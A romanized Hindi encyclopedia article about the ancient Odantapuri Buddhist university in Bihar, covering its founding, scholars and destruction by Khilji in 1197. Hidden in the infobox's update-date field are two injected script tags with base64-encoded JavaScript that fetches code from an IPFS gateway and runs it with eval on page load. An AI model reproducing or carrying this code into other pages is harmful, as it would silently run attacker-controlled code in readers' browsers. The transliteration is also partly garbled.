ओदन्तपुरी विश्वविद्यालय
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odantapuri vishhvavidyalay
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| vivaran | udantapuri vishhvavidyalay ka uthkhanan kary nahian hone ke karan yah aj bhi dharati ke garbh mean daba hai, jisake karan bahut hi kam log is vishhvavidyalay ke itihas se parichit haian. |
| rajy | bihar |
| zila | magadh mahajanapad tatkalin |
| sthapana | odantapuri vishhvavidyalay ki shthapana pratham pal naresh gopal ne satavian shatabhdi mean ki thi. |
| marg sthiti | nalanda se 6 mil ki doori par sthit hai. |
| havaee adda | patana aur gaya havaee adda |
| relave steshan | nikatavarti relave shteshan rajagir v nalanda |
| any janakari | udantapuri ke pradhan achary jetari aur atish ke shishhy the. ek samay vidya aur acharyoan ki prasiddhi ke karan isaka mahattv nalanda se adhik badh gaya tha. |
| adyatan | 15:51, 30 sitambar 2011 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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odantapuri vishhvavidyalay / udantapuri vishhvavidyalay
- odantapuri vishhvavidyalay bhi nalanda aur vikramashila vishhvavidyalay ki tarah vikhhyat tha, parantu udantapuri vishhvavidyalay ka uthkhanan kary nahian hone ke karan yah aj bhi dharati ke garbh mean daba hai, jisake karan bahut hi kam log is vishhvavidyalay ke itihas se parichit haian.
- arab ke lekhakoan ne isaki charcha 'adaband' ke nam se ki hai, vahian 'lama taranath' ne is 'udantapuri mahavihar' ko 'odayantapuri mahavidyalay' kaha hai. aisa kaha jata hai ki nalanda vishhvavidyalay jab apane patan ki or agrasar ho raha tha, usi samay is vishhvavidyalay ki shthapana ki gee thi.
- isaki shthapana pratham pal naresh gopal ne satavian shatabhdi mean ki thi.
khilaji ka akraman
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- tibhbati paandulipiyoan se aisa jnat hota hai ki is mahavihar ke sanchalan ka bhar 'bhikshusangh' ke hath mean tha, kisi raja ke hath nahian. sanbhavatah udantapuri mahavihar ki shthapana mean nalanda mahavihar aur vikramashila mahavihar ke bauddh sanghoan ka mataikhy nahian tha. sanbhavataya is udantapuri ki khhyati nalanda aur vikramashila ki apeksha kuchh adhik badh gee thi. tabhi to muhamhmad bin bakhtiyar khilaji ka dhhyan is mahavihar ki or hua aur usane sarvapratham isi ko apane akraman ka pahala nishana banaya.
- khilaji 1197 ee. mean sarvapratham isi ki or akrishht hua aur apane akraman ka pahala nishana banaya. usane is vishhvavidyalay ko charoan or se gher liya, jisase bhikshugan kafi kshubhdh hue aur koee upay n dekhakar ve shvayan hi sangharsh ke lie age a ge, jisamean adhikaansh to maut ke ghat utar die ge, to kuchh bhikshu bangal tatha u disa ki or bhag ge aur aant mean is vihar mean ag lagava di. is tarah vidya ka yah mandir sada-sada ke lie samapht ho gaya.
bihar shariph
- ulhlekhaniy hai ki udantapur ko hi in dinoan 'biharashariph' ke nam se jana jata hai. biharashariph ke pas nalanda vishhvavidyalay hone ke bavajood usi kal mean usi ke nazadik ek anhy vishhvavidyalay ki shthapana hona ashhchary ki bat hai.
- udantapuri ke pradhan achary jetari aur atish ke shishhy the. ek samay vidya aur acharyoan ki prasiddhi ke karan isaka mahattv nalanda se adhik badh gaya tha.
- udantapuri mahavihar ke unhnat tatha vikasashil banane mean yahaan ke vidyarthiyoan tatha acharyoan ka vishesh yogadan raha hai. inamean atish dipankar, jnanashrimitr, shaanti-pa, yoga-pa, shaanti rakshit adi ke nam ulhlekhaniy haian.
- is vishhvavidyalay ke pratham kulapati 'prabhakar' the. 'mitr yogi' kuchh dinoan tak pradhan achary pad par the.
- tibhbati paandulipiyoan ke anusar vahaan ke prasiddh 'raja khari shtron dasuthsen' shiksha prapht karane ae the.
- shaanti rakshit is mahavihar ke pratham shishhy rahe haian, jinake dvara yahaan ke saanshkritik vaibhav ko desh-videshoan mean khhyati prapht karane ka shrey raha.
- is vishhvavidyalay mean desh-videsh ke lagabhag ek hazar vidyarthi adhhyayan kiya karate the.
bauddh dharm ka mukhhy keandr
- nalanda v vikramashila vishhvavidyalay ki tarah desh ke rajaoan tatha dhanadhy logoan dvara sahayata milati thi. phir bhi udantapuri vishhvavidyalay bauddh dharm ke mananevale tatha bhikshuoan ka mukhhy keandr tha. tibbat mean inaki bhoori-bhoori prashansa ki jati hai. aj bhi unake kamandal, khop di aur ashthiyaan vahaan ke sangrahalay mean surakshit haian.
- shaanti rakshit lagabhag 743 ee. mean jab tibhbat ge to vahaan par 'udantapuri mahavihar' ke samaroop hi ek 'bauddh vihar' ka nirman karaya, jise 'samhye vihar' ke nam se jana jata hai. yahaan ek bahut b da samriddhashali pushtakalay hai, jisake sanbandh mean kaha jata hai ki jitana vishal sangrah yahaan upalabhdh tha, utana sangrah vikramashila vishhvavidyalay mean bhi nahian tha.
- bukanan aur kaniangham ke anusar
- bukanan aur kaniangham ne adhunik biharashariph shahar jo ki nalanda jane ke marg mean p data hai, vahaan ek vishal tile ka ulhlekh kiya hai. yahaan ke ek bauddh devi ki kaanshy ki pratima prapht huee hai. is par ek abhilekh aankit hai jisamean 'enakathakut' ka nam ulhlekhit hai. yah udantapuri ka nivasi tha. shayad isi abhilekh ke adhar par is shthan ki pahachan udantapuri vishhvavidyalay se ki gee hai.
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tika tippani aur sandarbh
bahari k diyaan
- nalanda vishhvavidyalay, jahaan jnan prapht kie bina shiksha adhoori mani jati thi
- bharat ke prachin shiksha kendr
sanbandhit lekh
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varnamala kramanusar lekh khoj
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